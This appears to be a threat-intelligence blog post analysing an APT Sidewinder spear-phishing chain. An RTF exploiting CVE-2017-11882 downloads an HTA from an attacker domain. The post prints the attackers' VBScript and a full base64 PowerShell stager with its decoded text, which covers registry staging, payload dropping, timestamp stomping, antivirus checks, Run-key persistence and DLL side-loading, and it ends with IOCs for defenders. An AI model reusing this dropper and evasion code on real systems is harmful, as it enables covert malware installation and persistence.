APT Sidewinder: Tricks powershell, Anti Forensics and execution side loading
Spear phishing
I’ve started few days ago an analysis on a RTF following my recent researches.
I found it this: 892859ea9d86fc441b24222148db52eb33cd106c2ac68eafbe83ab0064215488
I execute rtfobj on it and two ole embedded objects malforfed:
But rtfobj extracts succeffully two raws objects:
The object 6A2A1 is very interesting:
and this one:
In fact, the ole object is a exploit of CVE-2017–11882.
The implementation is a bit different than my last article, there is not an object MTF.
The implementation has many matching with the public exploit: https://github.com/0x09AL/CVE-2017-11882-metasploit
The exploitation is the following:
an hta is downloaded here and lauched by msthll.dll.RunHMLApplication.
caller.exe hxxp://www.google.com.d-dns.co/includes/686a0ea5/-1/1223/da897db0/final.hta
The hta is a mix of powershell, vbscript and javascript.
Installation of payload and Persistance
The installation of the payload made by vscript a line 151
objWSS.RegWrite “HK”&”CU\Softwa”&”re\Updater\pa”&”rt3", bnm, “REG_SZ”
here
tst = getProfile(“0”) & “$c=”””&c&”””;$m=”””&m&”””;”& Base64Decode(objWSS.RegRead(“HKEY_CURRENT_USER\Softwa”&”re\Updater\pa”&”rt3")) & getProfile(“1”)
objWSS.run “powershell.exe -ExecutionPolicy Bypass -Command “”” & tst & “”””, 0, true
and here:
objWSS.RegWrite “HKCU\Software\Updater”, “”
objWSS.RegWrite “HKCU\Software\Updater\part1”, p1, “REG_SZ”
objWSS.RegWrite “HKCU\Software\Updater\part2”, p2, “REG_SZ”
The registry is used like pivot.
p1, p2 and bnm are three blobs of base64 data.
bdm decoded is:
iex([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(“””U2V0LUV4ZWN1dGlvblBvbGljeSAtRXhlY3V0aW9uUG9saWN5IEJ5cGFzcyAtU2NvcGUgQ3VycmVudFVzZXIgLUZvcmNlOw0KJEVycm9yQWN0aW9uUHJlZmVyZW5jZT0nU2lsZW50bHlDb250aW51ZSc7DQoNCiRwbmFtZTM2ID0gIjMiICsgIjYwVHIiICsgImF5Ig0KJGJpbkRpciA9IFtFbnZpcm9ubWVudF06OkdldEZvbGRlclBhdGgoW0VudW1dOjpUb09iamVjdChbU3lzdGVtLkVudmlyb25tZW50K1NwZWNpYWxGb2xkZXJdLCAzNSkpKyAiXCIgKyAiV2luc2V0XENvbmZpZyIgKyAiXCI7DQokYmluID0gIldpbnNldC5leGUiOw0KdHJ5ew0KJGNtZExpbmUgPSAoW2ludF0kYykudG9TdHJpbmcoIjAwMDAwMDAwIikrKFtpbnRdJG0pLnRvU3RyaW5nKCIwMDAwMDAwMCIpOw0KJGNtZExpbmUgPSAkYmluKyAiICIgKyRjbWRMaW5lOw0KfQ0KY2F0Y2h7DQokY21kTGluZSA9ICRiaW47DQp9DQokbGluZSA9IG5ldy1vYmplY3QgYnl0ZVtdIDY0Ow0KJGJ1ZjYgPVtCeXRlW11dICgsMHgyMyAqIDY0KTsNCiRjYnl0ZXMgPSBbc3lzdGVtLlRleHQuRW5jb2RpbmddOjpBU0NJSS5HZXRCeXRlcygkY21kTGluZSk7DQpbYXJyYXldOjpjb3B5KCRjYnl0ZXMsJGxpbmUsJGNieXRlcy5sZW5ndGgpOw0KDQokYmluUGF0aCA9ICRiaW5EaXIgKyAkYmluOw0KJGJpblBhdGhkbGwgPSAkYmluRGlyICsgImNtcGJrMzIuZGxsIjsNCiRkbXliaW5QYXRoID0gJGJpbkRpciArICJjbWRsMzIuZXhlIjsNCiRycGNkbGxwYXRoID0gJGJpbkRpciArICI1NzE0NkM5Ni5kbGwiOw0KJHJ1biA9ICdIS0NVOlNvZnR3YXJlXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1blwnOw0KJHN5c3RlbSA9ICdIS0NVOlNvZnR3YXJlXFVwZGF0ZXInOw0KJHJ1bkV4aXN0cyA9IEZhbHNlOw0KJHBuYW1lYXZyID0gImF2IiArICJnbiIgKyAidCI7DQokbXN2YnZtZGxscGF0aCA9ICRlbnY6V0lORElSICsgIlxzeXN0ZW0zMlxtc3Zidm02MC5kbGwiDQokY21kbDMycGF0aCA9ICRlbnY6V0lORElSICsgIlxzeXN0ZW0zMlxjbWRsMzIuZXhlIg0KDQokcTM2ID0gR2V0LVByb2Nlc3MgJHBuYW1lMzYgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWU7DQppZigkcTM2KXsNCglleGl0DQp9DQoNCmZ1bmN0aW9uIGRjKCRzKXsNCglzYWwgbiBOZXctT2JqZWN0Ow0KCSRkYXRhID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygiSDRzSUFBQUFBQUEiICsgJHMpOw0KCSRtcyA9IG4gU3lzdGVtLklPLk1lbW9yeVN0cmVhbTsNCgkkbXMuV3JpdGUoJGRhdGEsIDAsICRkYXRhLkxlbmd0aCk7DQoJJG1zLlNlZWsoMCwwKSB8IE91dC1OdWxsOw0KCXJldHVybiAobiBTeXN0ZW0uSU8uU3RyZWFtUmVhZGVyKG4gU3lzdGVtLklPLkNvbXByZXNzaW9uLkdaaXBTdHJlYW0oJG1zLCBbU3lzdGVtLklPLkNvbXByZXNzaW9uLkNvbXByZXNzaW9uTW9kZV06OkRlY29tcHJlc3MpKSkuUmVhZFRvRW5kKCk7DQp9Ow0KDQpmdW5jdGlvbiB1cGR0KCR0LCAkYil7DQoJKGxzICR0KS5MYXN0V3JpdGVUaW1lID0gIChscyAkYikuTGFzdFdyaXRlVGltZQ0KCShscyAkdCkuQ3JlYXRpb25UaW1lID0gKGxzICRiKS5DcmVhdGlvblRpbWUNCgkobHMgJHQpLkxhc3RBY2Nlc3NUaW1lID0gKGxzICRiKS5MYXN0QWNjZXNzVGltZQ0KfQ0KDQpmdW5jdGlvbiB3YjY0KCRwYXRoLCAkYjY0KXsNCgkkYnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCJUVnEiICsgJGI2NCk7DQoJTmV3LUl0ZW0gLUl0ZW1UeXBlIERpcmVjdG9yeSAtRm9yY2UgLVBhdGggJGJpbkRpciB8IE91dC1OdWxsOw0KCVtpby5maWxlXTo6V3JpdGVBbGxCeXRlcygkcGF0aCwkYnl0ZXMpIHwgT3V0LU51bGw7DQoJdXBkdCAtdCAkcGF0aCAtYiAkY21kbDMycGF0aA0KfQ0KDQpmdW5jdGlvbiBzYigkaCwgJG4gKSB7DQogICAgJGxlbiA9ICRuLmxlbmd0aDsNCiAgICAkbGltaXQgPSAkaC5sZW5ndGggLSAkbGVuOw0KICAgIEZvciggJGkgPSAwOyAgJGkgLWxlICRsaW1pdDsgICRpKysgKSB7DQogICAgICAgICRrID0gMDsNCiAgICAgICAgRm9yKCA7ICAkayAtbHQgJGxlbjsgICRrKysgKSB7DQogICAgICAgICAgICBpZiggJG5bJGtdIC1uZSAkaFskaSska10gKSB7YnJlYWt9Ow0KICAgICAgICB9DQogICAgICAgIGlmKCAkayAtZXEgJGxlbiApe3JldHVybiAkaX07DQogICAgfQ0KICAgIHJldHVybiAtMTsNCn0NCg0KaWYoKFRlc3QtUGF0aCAkZW52OldJTkRJUlxTeXNXT1c2NCkpew0KCSRtc3Zidm1kbGxwYXRoID0gJGVudjpXSU5ESVIgKyAiXFN5c1dPVzY0XG1zdmJ2bTYwLmRsbCINCgkkY21kbDMycGF0aCA9ICRlbnY6V0lORElSICsgIlxTeXNXT1c2NFxjbWRsMzIuZXhlIg0KfQ0KDQp0cnl7DQoJaWYoIShUZXN0LVBhdGggJGJpblBhdGgpKXsNCg0KCQkkYjY0ID0gZGMgLXMgKChHZXQtSXRlbVByb3BlcnR5IC1QYXRoICRzeXN0ZW0pLnBhcnQxKTsNCgkJJGJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygiVFZxIiArICRiNjQpOw0KCQkkcm4gPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKChHZXQtUmFuZG9tIC1NYXhpbXVtIDk5OTkgLU1pbmltdW0gMTExMSkpWzAuLjFdOw0KCQlbYXJyYXldOjpjb3B5KCRybiwwLCRieXRlcywkYnl0ZXMubGVuZ3RoIC0gMiwyKTsNCgkJTmV3LUl0ZW0gLUl0ZW1UeXBlIERpcmVjdG9yeSAtRm9yY2UgLVBhdGggJGJpbkRpciB8IE91dC1OdWxsOw0KCQlbaW8uZmlsZV06OldyaXRlQWxsQnl0ZXMoJGJpblBhdGgsJGJ5dGVzKSB8IE91dC1OdWxsOw0KCQl1cGR0IC10ICRiaW5QYXRoIC1iICRjbWRsMzJwYXRoDQoNCgkJJGI2NGRsbCA9IGRjIC1zICgoR2V0LUl0ZW1Qcm9wZXJ0eSAtUGF0aCAkc3lzdGVtKS5wYXJ0Mik7DQogICAgICAgICRieXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoIlRWcSIgKyAkYjY0ZGxsKTsNCgkJW2FycmF5XTo6Y29weSgkbGluZSwwLCRieXRlcywoc2IgLWggJGJ5dGVzIC1uICRidWY2KSw2NCk7DQoJCU5ldy1JdGVtIC1JdGVtVHlwZSBEaXJlY3RvcnkgLUZvcmNlIC1QYXRoICRiaW5EaXIgfCBPdXQtTnVsbDsNCgkJW2lvLmZpbGVdOjpXcml0ZUFsbEJ5dGVzKCRiaW5QYXRoZGxsLCRieXRlcykgfCBPdXQtTnVsbDsNCgkJdXBkdCAtdCAkYmluUGF0aGRsbCAtYiAkY21kbDMycGF0aA0KCX0NCg0KCVJlbW92ZS1JdGVtIC1QYXRoICRzeXN0ZW0gfCBPdXQtTnVsbDsNCglSZW1vdmUtSXRlbSAkUFJPRklMRS5DdXJyZW50VXNlckFsbEhvc3RzIHwgT3V0LU51bGw7DQoJTmV3LUl0ZW1Qcm9wZXJ0eSAtUGF0aCAkcnVuIC1OYW1lICJXaW5zb3VuZCIgLVByb3BlcnR5VHlwZSBTdHJpbmcgLVZhbHVlICRkbXliaW5QYXRoIHwgT3V0LU51bGw7DQoJDQoJQ29weS1JdGVtICAkbXN2YnZtZGxscGF0aCAkcnBjZGxscGF0aA0KCXVwZHQgLXQgJHJwY2RsbHBhdGggLWIgJG1zdmJ2bWRsbHBhdGgNCg0KCUNvcHktSXRlbSAkY21kbDMycGF0aCAkZG15YmluUGF0aA0KCXVwZHQgLXQgJGRteWJpblBhdGggLWIgJGNtZGwzMnBhdGgNCg0KCSRhdnIgPSBHZXQtUHJvY2VzcyAkcG5hbWVhdnIgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUNCglpZiAoISRhdnIpIHsNCgkJJigkZG15YmluUGF0aCkgfCBPdXQtTnVsbDsNCgl9DQoJRXhpdA0KfQ0KY2F0Y2ggew0KCSRfLkV4Y2VwdGlvbi5NZXNzYWdlIHwgT3V0LU51bGw7DQp9"””)))
There is a new base64 block decoded:
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser -Force;
$ErrorActionPreference=’SilentlyContinue’;$pname36 = “3” + “60Tr” + “ay”
$binDir = [Environment]::GetFolderPath([Enum]::ToObject([System.Environment+SpecialFolder], 35))+ “\” + “Winset\Config” + “\”;
$bin = “Winset.exe”;
try{
$cmdLine = ([int]$c).toString(“00000000”)+([int]$m).toString(“00000000”);
$cmdLine = $bin+ “ “ +$cmdLine;
}
catch{
$cmdLine = $bin;
}
$line = new-object byte[] 64;
$buf6 =[Byte[]] (,0x23 * 64);
$cbytes = [system.Text.Encoding]::ASCII.GetBytes($cmdLine);
[array]::copy($cbytes,$line,$cbytes.length);$binPath = $binDir + $bin;
$binPathdll = $binDir + “cmpbk32.dll”;
$dmybinPath = $binDir + “cmdl32.exe”;
$rpcdllpath = $binDir + “57146C96.dll”;
$run = ‘HKCU:Software\Microsoft\Windows\CurrentVersion\Run\’;
$system = ‘HKCU:Software\Updater’;
$runExists = False;
$pnameavr = “av” + “gn” + “t”;
$msvbvmdllpath = $env:WINDIR + “\system32\msvbvm60.dll”
$cmdl32path = $env:WINDIR + “\system32\cmdl32.exe”$q36 = Get-Process $pname36 -ErrorAction SilentlyContinue;
if($q36){
exit
}function dc($s){
sal n New-Object;
$data = [System.Convert]::FromBase64String(“H4sIAAAAAAA” + $s);
$ms = n System.IO.MemoryStream;
$ms.Write($data, 0, $data.Length);
$ms.Seek(0,0) | Out-Null;
return (n System.IO.StreamReader(n System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
};function updt($t, $b){
(ls $t).LastWriteTime = (ls $b).LastWriteTime
(ls $t).CreationTime = (ls $b).CreationTime
(ls $t).LastAccessTime = (ls $b).LastAccessTime
}function wb64($path, $b64){
$bytes = [System.Convert]::FromBase64String(“TVq” + $b64);
New-Item -ItemType Directory -Force -Path $binDir | Out-Null;
[io.file]::WriteAllBytes($path,$bytes) | Out-Null;
updt -t $path -b $cmdl32path
}function sb($h, $n ) {
$len = $n.length;
$limit = $h.length — $len;
For( $i = 0; $i -le $limit; $i++ ) {
$k = 0;
For( ; $k -lt $len; $k++ ) {
if( $n[$k] -ne $h[$i+$k] ) {break};
}
if( $k -eq $len ){return $i};
}
return -1;
}if((Test-Path $env:WINDIR\SysWOW64)){
$msvbvmdllpath = $env:WINDIR + “\SysWOW64\msvbvm60.dll”
$cmdl32path = $env:WINDIR + “\SysWOW64\cmdl32.exe”
}try{
if(!(Test-Path $binPath)){$b64 = dc -s ((Get-ItemProperty -Path $system).part1);
$bytes = [System.Convert]::FromBase64String(“TVq” + $b64);
$rn = [System.BitConverter]::GetBytes((Get-Random -Maximum 9999 -Minimum 1111))[0..1];
[array]::copy($rn,0,$bytes,$bytes.length — 2,2);
New-Item -ItemType Directory -Force -Path $binDir | Out-Null;
[io.file]::WriteAllBytes($binPath,$bytes) | Out-Null;
updt -t $binPath -b $cmdl32path$b64dll = dc -s ((Get-ItemProperty -Path $system).part2);
$bytes = [System.Convert]::FromBase64String(“TVq” + $b64dll);
[array]::copy($line,0,$bytes,(sb -h $bytes -n $buf6),64);
New-Item -ItemType Directory -Force -Path $binDir | Out-Null;
[io.file]::WriteAllBytes($binPathdll,$bytes) | Out-Null;
updt -t $binPathdll -b $cmdl32path
}Remove-Item -Path $system | Out-Null;
Remove-Item $PROFILE.CurrentUserAllHosts | Out-Null;
New-ItemProperty -Path $run -Name “Winsound” -PropertyType String -Value $dmybinPath | Out-Null;
Copy-Item $msvbvmdllpath $rpcdllpath
updt -t $rpcdllpath -b $msvbvmdllpathCopy-Item $cmdl32path $dmybinPath
updt -t $dmybinPath -b $cmdl32path$avr = Get-Process $pnameavr -ErrorAction SilentlyContinue
if (!$avr) {
&($dmybinPath) | Out-Null;
}
Exit
}
catch {
$_.Exception.Message | Out-Null;
}
This powershell checks if the AV 360 is installed:
$pname36 = “3” + “60Tr” + “ay”
$q36 = Get-Process $pname36 -ErrorAction SilentlyContinue;
if($q36){
exit
}
We can imagine the attackers were made a recon step before.
The folder where the loadin chain is:
$binDir = [Environment]::GetFolderPath([Enum]::ToObject([System.Environment+SpecialFolder], 35))+ “\” + “Winset\Config” + “\”;
The powershell copies:
$msvbvmdllpath = $env:WINDIR + “\system32\msvbvm60.dll”
$cmdl32path = $env:WINDIR + “\system32\cmdl32.exe”
Copy-Item $cmdl32path $dmybinPath
Copy-Item $msvbvmdllpath $rpcdllpath
So msvbvm60.dll becomes: 57146C96.dll
And Winset.exe and cmpbk32.dll are decoded and copied in the same folder.
part1 and part2 is the reg key base here $system = ‘HKCU:Software\Updater’;:
objWSS.RegWrite “HKCU\Software\Updater”, “”
objWSS.RegWrite “HKCU\Software\Updater\part1”, p1, “REG_SZ”
objWSS.RegWrite “HKCU\Software\Updater\part2”, p2, “REG_SZ”
part1 is big blob of base64 data.
Firstly the registry key is retrieve:
(Get-ItemProperty -Path $system).part1
after is the function dc is called.
function dc($s){
sal n New-Object;
$data = [System.Convert]::FromBase64String(“H4sIAAAAAAA” + $s);
$ms = n System.IO.MemoryStream;
$ms.Write($data, 0, $data.Length);
$ms.Seek(0,0) | Out-Null;
return (n System.IO.StreamReader(n System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
};
this string “H4sIAAAAAAA” is added at part2 and the data is decoded an
$data = [System.Convert]::FromBase64String(“H4sIAAAAAAA” + $s);
and unzip:
[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
};
and the Mz header in base64 is added and decoded:
$bytes = [System.Convert]::FromBase64String(“TVq” + $b64);
and the executable is modified for the last time and copied in $binDir:
$bytes = [System.Convert]::FromBase64String(“TVq” + $b64);
$rn = [System.BitConverter]::GetBytes((Get-Random -Maximum 9999 -Minimum 1111))[0..1];
[array]::copy($rn,0,$bytes,$bytes.length — 2,2);
New-Item -ItemType Directory -Force -Path $binDir | Out-Null;
[io.file]::WriteAllBytes($binPath,$bytes) | Out-Null;
The dll is decoded, modified and written on disk in the same way:
$b64dll = dc -s ((Get-ItemProperty -Path $system).part2);
$bytes = [System.Convert]::FromBase64String(“TVq” + $b64dll);
[array]::copy($line,0,$bytes,(sb -h $bytes -n $buf6),64);
New-Item -ItemType Directory -Force -Path $binDir | Out-Null;
[io.file]::WriteAllBytes($binPathdll,$bytes) | Out-Null;
updt -t $binPathdll -b $cmdl32path
The Trick very important here is : [array]::copy($line,0,$bytes,(sb -h $bytes -n $buf6),64); to modify the dll.
If you decode the before the modification you have a dll truncated.
before:
after:
In fact:
The powershell modify the dll to add $lines
and $lines
$line = new-object byte[] 64;
$buf6 =[Byte[]] (,0x23 * 64);
$cbytes = [system.Text.Encoding]::ASCII.GetBytes($cmdLine);
[array]::copy($cbytes,$line,$cbytes.length);
and $cmdLine
$bin =Winset.exe
$cmdLine = ([int]$c).toString(“00000000”)+([int]$m).toString(“00000000”);
$cmdLine = $bin+ “ “ +$cmdLine;
}
like in the dll: .string “Winset.exe -0000000100001223
So we have in the same folder: Winset\Config
- Winset.exe (part1 modified and decoded)is a fake Windows Security Configuration Editor Command Tool
- cmpbk32.dll (part2 modified and decoded)
- 57146C96.dll (vb virtual machine)
- cmdl32.exe (executable of windows)
The powershell change timestamps of files copied:
updt -t $binPathdll -b $cmdl32path
updt -t $binPath -b $cmdl32path
function updt($t, $b){
(ls $t).LastWriteTime = (ls $b).LastWriteTime
(ls $t).CreationTime = (ls $b).CreationTime
(ls $t).LastAccessTime = (ls $b).LastAccessTime
}
Persistance
The persistant is a hkey run very basic with the path of the dll in parameter:
$run = ‘HKCU:Software\Microsoft\Windows\CurrentVersion\Run\’;
New-ItemProperty -Path $run -Name “Winsound” -PropertyType String -Value $dmybinPath | Out-Null;
To reload cmpbk32.dll at each reboot of the system and execute the dllmain of the dll.
Loading Chain
The powershell launch cmdl32.exe (“Connection Manager Phonebook Downloader”) trusted by AV because it’s develloped by Microsoft.
this exe used: cmpbk32.dll
So when cmdl32.exe is launched cmpbk32.dll is loaded. (in the same directory, side loading)
the entrypoint is exectuted.
The important part is:
The function sub.Winset.exe__0000000100001223_0 launches Winset.exe the real RAT like this “Winset.exe -0000000100001223” ; len=2
Winset.exe is RAT developed in VB6.
You can find an complete analysis here: https://s.tencent.com/research/report/479.html
Threat Intelligence
We have the TTPs described in Tencent with the same phases.
Sidewinder is a Indian Group targeting Pakistan military infrastructure.
The content of the RTF is cleary oriented to Navy Pakistani.
If we check the infrastructure of the attackers:
We have www.nadra.gov.pk.d-dns.co cleary targetted.
The nadra is the National Database of and Registration Authority.
If you check the metada of RTF, Rashid Memorial is the author of the document.
This name is really known by the navy pakistani because “Rashid Memorial Welfare Organization (RMWO) was set up by a group of dedicated retired PAF officers in 1998 in memory of Flt. Lt. Rashid Ahmed Khan, who embraced ‘Shahadat’ on 13th December, 1997 when his aircraft caught fire above a densely populated area.”
IOCs
File RTF:
892859ea9d86fc441b24222148db52eb33cd106c2ac68eafbe83ab0064215488
08b9b5b7592004b8733544df1029e2fc085d82db1ba488a43830df49bbbc73b6
hta:
b8cbdb36ccd666adaf2ba3628cc79578d3a05119c71dce1bb16aa39e56dea3cc
Executables:
8315956b587032db14ba4e700400dffeaeb4119ef509ecf0df1bb4e80a496b59 (cmpbk32.dll)
13497aab3521abbaa654b51f375114e419b1bb774caa8c67cf52775095b17423 (winset.exe)
Sandbox execution:
Credits:
Thanks to Benjamin Piot for exchange about this cases !